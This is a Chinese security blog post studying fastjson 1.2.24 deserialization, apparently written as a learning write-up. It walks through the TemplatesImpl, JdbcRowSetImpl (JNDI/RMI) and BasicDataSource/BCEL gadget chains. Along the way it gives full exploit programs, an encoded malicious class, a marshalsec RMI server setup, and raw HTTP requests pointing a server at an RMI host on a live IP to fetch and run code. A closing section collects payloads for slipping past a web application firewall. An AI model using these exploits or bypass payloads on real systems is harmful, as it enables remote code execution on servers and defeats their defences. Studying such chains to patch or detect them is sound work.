fastjson 反序列化基础一(1.2.24)

0x01 基本使用:

编写一个实体类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.hme.entity;

public class Student {
private String name;
private int age;

public Student() {
System.out.println("构造函数");
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}

序列化:

使用JSON.toJSONString(student)这个方法,可以返回一个json字符串。

如:

1
2
3
4
5
public static void main(String[] args) {
Student student = new Student(23,"张三");
String jsonString = JSON.toJSONString(student);
System.out.println(jsonString);
}

输出结果:

image-20240408101152021

添加了SerializerFeature.WriteClassName后再次输出,就会多了@type

image-20240408101210841

反序列化:

反序列化主要是parseparseObject这两个方法。

parse方法:

1
2
3
4
5
String str = "{\"@type\":\"com.hme.entity.Student\",\"age\":23,\"name\":\"张三\"}";
System.out.println("========================");
System.out.println("反序列化一:");
Object parse = JSON.parse(str);
System.out.println(parse);

使用@type指定类型,然后使用parse进行反序列化,结果会输出:

image-20240408101235242

总结:

对于parse(json字符串),结果会调用对应的set方法,以及构造函数,并且会调用静态方法,构造代码块。

parseObject方法:

1
2
3
4
5
6
7
String str = "{\"@type\":\"com.hme.entity.Student\",\"age\":23,\"name\":\"张三\"}";
Object parse = JSON.parse(str);
System.out.println(parse);
System.out.println("========================");
System.out.println("反序列化二(parseObject):");
JSONObject jsonObject = JSON.parseObject(str);
System.out.println(jsonObject);

输出结果:

image-20240408102009020

结论:

JSON.parseObject会调用对应的对应的set和get方法,以及构造方法和构造代码块。

如果指定类,如下:

1
2
3
System.out.println("反序列化三(parseObject + 类):");
Student student = JSON.parseObject(str, Student.class);
System.out.println(student);

结果:

image-20240408102132644

结论:

使用parseObject(str,类.class)则会直接返回该类的实例,调用构造代码块,构造函数,以及set方法。

Feature.SupportNonPublicField:

如果我们把name的set方法去掉,那么字段不会有结果,输出为null。image-20240408105057482

因为fastjson就是调用set方法去赋值的,对于我们的私有变量,没有set方法,所以不能直接赋值,而使用了Feature.SupportNonPublicField后就会调用反射去进行赋值:

image-20240408110831128

总结:

使用fastjson,如果对象的私有变量没有使用编写set方法,fastjson是默认不能进行赋值。而添加了Feature.SupportNonPublicField,可以在没有set方法的条件下进行赋值。

0x02 代码实现流程:

获取key:

DefaultJSONParserparseObject函数中:

image-20231211204647590

如果当key是JSON.DEFAULT_TYPE_KEY(常量,是@type)则获取当前@type的值即json的vale,然后调用TypeUtils中加载器去加载当前的typeName

image-20231211204558260

加载过程在TypeUtils.loadClass

mappings中存在当前这些加载器:
image-20231211205130793

当前传入的加载器在这个map中不存在则继续往下,然后使用当前线程去创建另一个加载器:

image-20231211205415823

然后会把这个加载器放进map中,最终返回。

返回ParseConfig类的getDeserializer中走到最后一步会创建javabean对象。

在parseConfig中最后会调用JavaBeanDeserialize函数去创建javabean

image-20231214163722619

createJavaBeanDeserializer方法中会采用asm技术去操作class,从而去动态生成对象。

JavaBeanInfo函数中首先会遍历所有的方法获取到对应类型的set方法和get方法,然后去获取字段,主要是获取public,static的字段。

构造poc:

首先需要指定类型,因此使用@type指定序列化的类,这里选用com.sun.rowset.JdbcRowSetImpl,判断需要调用是get还是set方法,这里选用set方法。

image-20231214165957071

这里toJSON最后才会调用set方法,如果调用get方法,前面可能会出错。

当我们指定字段dataSourceName就会调用setDataSourceName方法,如图,将我们的地址传入了:

image-20231214170746290

setAutoCommit方法也是一样:

image-20231214170902837

之后会调用connect()方法

在connect方法中会调用getDataSourceName的方法,而这个DataSourceName参数是可控的,我们可以传入的,因此实现了jndi注入了。

image-20231214171048392

在yakit中开启一个ldap服务,执行命令为calc,如图所示:

image-20231214171307785

从而实现了运行任意命令。

小结:

下面直接引用结论,Fastjson会对满足下列要求的setter/getter方法进行调用:

满足条件的setter:

  • 非静态函数
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter:

  • 非静态方法
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

0x03 TemplatesImpl利用链:

分析以及exp编写:

我们在学TemplatesImpl中知道它一个内部类TransletClassLoaderdefineClass方法,调用了ClassLoaderdefineClass。(这条链是cc3的,也出现在我们的类加载中。)

这条调用链是这样的:

TemplatesImpl#getOutputProperties–>TemplatesImpl#newTransformer–> TemplatesImpl#getTransletInstance–> TemplatesImpl#defineTransletClasses()–>TemplatesImpl#defineClass()

有个getTransletInstancegetOutputProperties正好符合我们的fastjson特性。

而选择getTransletInstance是调用失败的,因为该类返回的是一个抽象类。

image-20240408135134381

因此选择getOutputProperties

这个方法的返回值是Properties,不是返回的接口。

image-20240408135250693

构造链也很简单:

1
2
3
4
5
6
{
"@type":className,
"_bytecodes":evalBytes,
"_tfactroy":new TransformerFactoryImpl(),
"_name":"Calc",
}

完整poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] args) throws Exception {
String className = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
byte[] evilBytes = readFile();
String encode = Base64.getEncoder().encodeToString(evilBytes);
String text1 = "{\"@type\":\"" + className + "\",\"_bytecodes\":[\"" + encode + "\"],\"_name\":\"Calc\",\"_tfactory\":{ },\"_outputProperties\":{ },}";
System.out.println(text1);
Object o = JSON.parseObject(text1, Object.class, new ParserConfig(), Feature.SupportNonPublicField);
}

public static byte[] readFile() throws Exception {
return Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class"));
}

需要注意的点是_tfactory传入的值是一个类,然后_bytecodes传入的是一个byte数组,因此需要使用[]去包裹。最重要的是我们需要调用getOutputProperties方法,因此需要对其进行赋值,这个值也是一个类。

疑惑:

疑点1:为什么传入的_bytecodes要进行base64编码:

ObjectArrayCodec中的deserialze方法中有一个方法是 lexer.bytesValue(),会对传入的字符串进行base64解码。这个调用是在DefaultJSONParserdeserializer.deserialze调用的。

image-20240408132834764

疑点2:为什么需要传入ParserConfig方法:

其实这个方法有无都一样。

1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] args) throws Exception {
String className = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
byte[] evilBytes = readFile();
String encode = Base64.getEncoder().encodeToString(evilBytes);
String payload = "{\"@type\":\"" + className + "\",\"_bytecodes\":[\"" + encode + "\"],\"_name\":\"Calc\",\"_tfactory\":{ },\"_outputProperties\":{ },}";
System.out.println(payload);
Object o = JSON.parseObject(payload,Feature.SupportNonPublicField);
}

public static byte[] readFile() throws Exception {
return Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class"));
}

总结

0x04 JdbcRowSetImpl利用链:

JNDI + RMI:

就是简单的JNDI Reference 的攻击方式。

JdbcRowSetImpl 中有一个setDataSourceName,用于设置数据源。

生成一个Calc.class,然后启动一个http服务:

image-20240408150134295

服务端如下:

1
2
3
4
5
6
7
8
public class RmiServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Calc.class", "Calc", "http://127.0.0.1:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("aa", refObjWrapper);
}
}

exp:

1
2
3
4
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://localhost:1099/aa\", \"autoCommit\":true}";
Object parse = JSON.parse(payload);
}

JNDI + LDAP:

还不太会,看师傅的博客:

Java反序列化Fastjson篇02-Fastjson-1.2.24版本漏洞分析 | Drunkbaby’s Blog (drun1baby.top)

0x05 BasicDataSource链:

关于BECL:

BCEL(Byte Code Engineering Library)的全名是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。相较Commons Collections,BCEL被包含在原生JDK中,更容易被利用。

BCEL Classloader在 JDK < 8u251之前是在rt.jar里面
在Tomcat中也会存在相关的依赖
tomcat7:org.apache.tomcat.dbcp.dbcp.BasicDataSource
tomcat8+:org.apache.tomcat.dbcp.dbcp2.BasicDataSource

com.sun.org.apache.bcel.internal.util.ClassLoader重写了Java内置的ClassLoader#loadClass()方法,会判断类名是否是BCEL开头,如果是的话,将会对这个字符串进行decode。可以理解为是传统字节码的HEX编码,再将反斜线替换成$。默认情况下外层还会加一层GZip压缩。

具体可以我的反序列化的类的动态加载那一篇文章。

前面我们使用了JdbcRowSetImplTemplatesImpl这两条链,其中jdbc那一条使用到了jndi注入,大部分情况下不能实现不出网利用,而TemplatesImpl这一条链虽然可以传入一个base64编码后的bytes,但是需要服务端开启Feature.SupportNonPublicField设置,因为它不存在set方法,这两条利用链算是有点苛刻。

但是这里的BasicDataSource则不一样了,在不出网不开启Feature.SupportNonPublicField的时候就可以利用这条链。

编写BECL Demo:

Repository主要是讲这个class生成一个java原生的字节码。

Utility主要用于讲原生的class进行编码成BECL认识的格式。

这里使用Class.forName去获取class。

1
2
3
JavaClass javaClass = Repository.lookupClass(Class.forName("Calc"));
String encode = Utility.encode(javaClass.getBytes(),true);
System.out.println(encode);

还可以使用文件读取的方式,最终也是传入一个bytes给Utilityjin’x

1
2
3
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\fastjson\\1224\\target\\classes\\Calc.class"));
String encode = Utility.encode(bytes,true);
System.out.println(encode);

如何进行类加载?

导入的是com.sun.org.apache.bcel.internal.util.ClassLoader

1
new ClassLoader().loadClass("$$BCEL$$" +"$l$8b$I$A$A$A$A$A$A$AmQMO$db$40$Q$7d$9b$af$b5$5d$HBB$S$9a$W$da$A$z$J$87$e6$c2$zQ$_$a8$95$aa$g$a8$IJ$d5$e3fY$c2$82$b1$91$e3$40$feQ$cf$b9$b4$I$a4$f6$ce$8fB$9du$a34Rj$c93$9e$f7$de$bc$9d$f1$3e$3e$dd$ff$C$b0$87$86$D$hk$O$9e$a3f$e1$85$c9$_9$d696$i$e4$f0$8a$e35G$9d$n$d7$d1$81$8e$df3$a4$h$cd$kCf$3f$3cU$M$cb$9e$O$d4$e1$e8$aa$af$a2$T$d1$f7$J$vz$a1$U$7eOD$da$d4S0$T$9f$eb$nyx$fb$c2$97m$G$ab$p$fd$a9$j$p$ba$ec$5d$88$h$d1$d2a$eb$d3$d1$87$b1T$d7$b1$O$D$92$e5$bb$b1$90$97$H$e2$3a$b1$a1$a1$Y$9cn8$8a$a4$fa$a8$8d$adm$ec$de$99$5e$X$O$9eql$ba$d8$c26$9dG$pH$Xo$f0$96$a1$f4$lo$86Z$82$fa$o$Y$b4$8eGA$ac$af$d4$8c4$5e$3bfC$f2$60$u$fc$T$k$f5$_$94$8c$ZV$Wzi$ae$81$8agE$b9$d1$f4$W4$b4OF$8d$VY$ee4$e6$d8n$i$e9$60$d0$9eo$f8$S$85R$N$87$d4$b06$af$3c9$8f$c2$5b$f3$p$da$cd$k$ea$b0$e8$d6$cc$93$C3$cbSt$a9jQf$94$b3$bb$3f$c1$s$J$9d$a7$98K$c04$96$u$ba$7f$FXF$81$b2$85$95Y$f3$Z$v$MW$bdC$aa$98$fe$81$cc$d7$ef$c8$7f$7e$40$ee$h$b9$f1$df$93$84$b4I$9a$r$a1$b1$ad$d0$971$b7$T$94$Tf$R$e6$cc$8e$c9$T$5eD$89$aaUz9R$kG$d9$s$a2$92LV$fd$D$M$f3$G$J$84$C$A$A").newInstance();

因为这个loadClass方法是public,可利用点很大。

image-20240416094016948

主要逻辑是判断是否是以"$$BCEL$$"开头,如果是则进行loadClass。

1
2
3
4
5
6
7
8
9
10
11
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A"
}
}:"xxx"
}

fastjson+BECL组合拳:

看exp:

1
2
3
4
5
6
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\fastjson\\1224\\target\\classes\\Calc.class"));
String code = Utility.encode(bytes, true);
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$" + code + "\",\"driverClassloader\": {\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parseObject(s);
}
1
2
3
4
5
6
7
8
9
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\fastjson\\1224\\target\\classes\\Calc.class"));
ClassLoader classLoader = new ClassLoader();
String code = Utility.encode(bytes,true);
BasicDataSource basicDataSource = new BasicDataSource();
basicDataSource.setDriverClassLoader(classLoader);
basicDataSource.setDriverClassName("$$BCEL$$"+code);
basicDataSource.getConnection();
}

payload如下:

1
2
3
4
5
6
7
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassName": "becl编码的class",
"driverClassloader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
}
}

fastjson就要找get函数,看入口类BasicDataSoure的get方法,找到getConnection方法:

image-20240416152130661

跟进createDataSoure方法里面的createConncetionFactory方法:

image-20240416152219472

createConncetionFactory方法里面调用了ConnectionFactoryFactory#createConnectionFactory

image-20240416152350731

查看createDriver方法,点击调试前,会调用ClassLoader(BECL)

image-20240416154104943

然后会调用getDriverClassName方法,获取driverClassName,并且获取classloader类加载器:

image-20240416154141682

恶意代码是这一行:

image-20240416154458959

直接调用Class.forName,正常我们的代码是这样的:

1
2
ClassLoader classLoader = new ClassLoader();
classLoader.loadClass("$$BCEL$$"+code).newInstance();

我们可以尝试跑一下:

1
2
3
4
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\fastjson\\1224\\target\\classes\\Calc.class"));
String code = Utility.encode(bytes, true);
ClassLoader driverClassLoader = new ClassLoader();
Class.forName("$$BCEL$$"+code, true, driverClassLoader);

效果和上面的一样,Class.forName()的第二个参数是是否实例化,设置为true则会调用newInstance方法,第三个参数是加载器。因此这段代码和上面的一样。然后我们观察上面的恶意代码,如果driverClassName可控,那么就可以实现反序列化了。

driverClassName是通过调用get方法去获取的,

image-20240416155248465

发现存在set方法,可以使用fastjson进行赋值:

image-20240416155349042

而同理driverClassLoader也是可控的,

因此构造思路如下:

  1. 首先@type BasicDataSource这个类,然后对driverClassName进行赋值,设置为我们的becl编码的值
  2. 同理调用@type BasicDataSource 对driverClassLoader进行赋值,设置为com.sun.org.apache.bcel.internal.util.ClassLoader(tomcat7和8不一样,需要注意。)
  3. 然后调用主入口BasicDataSource#getConnection方法。

尝试自己构造payload,然后发现这个getConncetion哪里调用的?

如果使用parse,会发现没有结果。

这里就要使用parseObejct方法,因为parseObject方法会调用传入类的所有get方法,那么就会调用getConnection方法,可以看下面的demo:

image-20240416160901477

因此完整的exp如下:

1
2
3
4
5
6
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\fastjson\\1224\\target\\classes\\Calc.class"));
String code = Utility.encode(bytes, true);
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$" + code + "\",\"driverClassloader\": {\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parseObject(s);
}

总结:

BasicDataSoure这条链,在<=1.2.24版本才适用,在1.2.25版本后org.apache.tomcat包设置为了黑名单,不能进行反序列化了。

这条链的主要逻辑是调用java的BECL,其中的ClassLoaderloadClass是public的,并且BasicDataSourcedriverClassLoaderdriverClassName是可控的,因此才会出现rec。

在这条链中,需要注意tomcat的版本,但只有两个版本,因此都试一下,还有是服务端需要使用parseObject,而不是使用parse方法,如果使用parse方法,不会调用所有get方法,getConncetion方法也不会被调用,这条链就不能执行了。

0x06 fastjson的一些小工具:

marshalsec:

环境配置:

1
2
3
4
下载marshalsec:
git clone https://github.com/mbechler/marshalsec.git
安装maven:
apt-get install maven

修改配置文件:

1
2
cd /usr/share/maven/conf
vim settings.xml

mirrors目录中添加阿里云的镜像:

1
2
3
4
5
6
<mirror>
<id>aliyunmaven</id>
<mirrorOf>*</mirrorOf>
<name>阿里云公共仓库</name>
<url>https://maven.aliyun.com/repository/public</url>
</mirror>

在解压目录下编译:

1
mvn clean package -DskipTests

编写class文件:

1
2
3
4
5
6
7
8
9
10
11
import java.io.IOException;

public class Calc {
static {
try {
Runtime.getRuntime().exec("touch /tmp/fastjson");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

编译成class文件:

1
javac Calc.java

然后启动一个http服务,在Calc.class目录下:

image-20240408172353815

运行marshalsec:

1
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://[vps]/#Calc" 9999

表示从vps服务器的80端口上下载Calc这个文件,并且开了的rmi端口为9999

poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: 121.37.229.215:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 159

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://121.37.229.215:9999/Calc",
"autoCommit":true
}
}

上雷池后会被拦截。

image-20240408172721392

0x07 bypass waf的小技巧:

1. json字段不适用双引号绕过:

1
2
3
4
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", dataSourceName:\"rmi://localhost:1099/aa\", \"autoCommit\":true}";
Object parse = JSON.parse(payload);
}

还是得配合,进行绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST / HTTP/1.1
Host: 121.37.229.215:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 178

{
"b":{
,
,
,
,
,
,
,
, "@type":"com.sun.rowset.JdbcRowSetImpl",
dataSourceName:"rmi://121.37.229.215:9999/Calc",
"autoCommit":true
}
}

2. 使用,绕过:

1
2
3
4
public static void main(String[] args) {
String payload = "{,,,,,,,,,,,,\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",,,,,,,,,,,,,,,,,,,,,,,,,, dataSourceName:\"rmi://localhost:1099/aa\", \"autoCommit\":true}";
Object parse = JSON.parse(payload);
}

查看DefaultJSONParser

image-20240408160021511

原理是默认开启了Feature.AllowArbitraryCommas

如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: 121.37.229.215:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 193

{
"b":{
,,,,,,,,,, "@type":"com.sun.rowset.JdbcRowSetImpl",,,,,,,,,,,,,,,,,
"dataSourceName":"rmi://121.37.229.215:9999/Calc",,,,,,,,,
"autoCommit":true
}
}

3. 垃圾字符绕过:

1
2
3
4
public static void main(String[] args) {
String payload = "\r\r\b{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",,,,,,,,,,,,,,,,,,,,,,,,,, dataSourceName:\"rmi://localhost:1099/aa\", \b\r\"autoCommit\":true}";
Object parse = JSON.parse(payload);
}

JSONLexerBase#skipWhitespace方法:

image-20240408160217652

主要用于将空格\r\n\t\f\b去除。

4. @type后的值第一个引号可以替换为其他字符:

image-20240409092236511

这里我们可以对比之前获取@type的过程,先检验了当前位置是"再扫描到下一个"之间的值

1
2
3
4
5
6
if (ch == '"') {
key = lexer.scanSymbol(this.symbolTable, '"');
lexer.skipWhitespace();
ch = lexer.getCurrent();
//省略不必要代码
}

因此可以证明是@type后的值第一个引号可以替换为其他字符,因此可以构造payload:

1
{"@type":?com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true

并且第一个字符后面不用双引号。即左边不用双引号+随机一个字符,右边则需要双引号。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: 121.37.229.215:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 150

{
"b":{
"@type":xcom.sun.rowset.JdbcRowSetImpl",
dataSourceName:"rmi://121.37.229.215:9999/Calc",
"autoCommit":true
}
}

5. unicode/hex编码绕过:

JSONLexerBase#scanSymbol方法中:

如果当前字符是\u或者是\x都会进行编码操作。

image-20240409093048480

单纯使用unicode编码在雷池中会被检测出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: 121.37.229.215:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 170

{
"b":{
"\u0040\u0074\u0079\u0070\u0065":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://121.37.229.215:9999/Calc",
"autoCommit":true
}
}

尝试混合编码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: 121.37.229.215:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 166

{
"b":{
"\u0040\x74\u0079\x70\u0065":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://121.37.229.215:9999/Calc",
"autoCommit":true
}
}

没有绕过,但这里也只是测试了雷池,或者可以尝试其他的waf看能不能绕过,通过hex/unicode混合编码。

6. 对字段添加多个下划线或者减号:

1.2.36版本前,在在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField

解析字段的key的时候,调用了smartMatch

image-20240409094620220

由于存在break,因此_-不能混合使用。

1
"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"d_a_t_aSourceName\":\"rmi://localhost:1099/aa\",\"autoCommit\":true}";

1.2.36版本之后,则可以混合使用:

image-20240409094720551

因此可以尝试使用-_对字段进行混淆。

这里测试的是1.2.24版本,本地可以直接运行,但是不能绕过waf,还是得配合第四点进行绕过,或者添加逗号:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: 121.37.229.215:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 167

{
"b":/*shabi*/{
/*shabi*/"@type":xcom.sun.rowset.JdbcRowSetImpl",
"dat____aSourceName":"rmi://121.37.229.215:9999/Calc",
"autoCommit":true
}
}

7. 注释绕过:

可以尝试在json字段前后添加注释进行绕过,但是这种方法还是不能直接过waf,还需要配合首字母或者逗号绕过:

1
/**/{/*{*//*}*/"@type":"com.sun.rowset.JdbcRowSetImpl","d_a_t_aSourceName":"rmi://localhost:1099/aa","autoCommit":true}

一些waf可能可以,这里配合任意首字母去绕过雷池:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST / HTTP/1.1
Host: 121.37.229.215:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 183

{
"b":{
/*{*/
/*}*/"@type":/*shabiwafwocaonima*/xcom.sun.rowset.JdbcRowSetImpl",
"dat____aSourceName":"rmi://121.37.229.215:9999/Calc",
"autoCommit":true
}
}

参考:

浅谈Fastjson绕waf (y4tacker.github.io)

Java反序列化Fastjson篇01-FastJson基础 | Drunkbaby’s Blog (drun1baby.top)

Java反序列化Fastjson篇02-Fastjson-1.2.24版本漏洞分析 | Drunkbaby’s Blog (drun1baby.top)


fastjson 反序列化基础一(1.2.24)
https://pow1e.github.io/2024/04/21/漏洞中间件复现/fastjson/fastjson-1224/
作者
pow1e
发布于
2024年4月21日
许可协议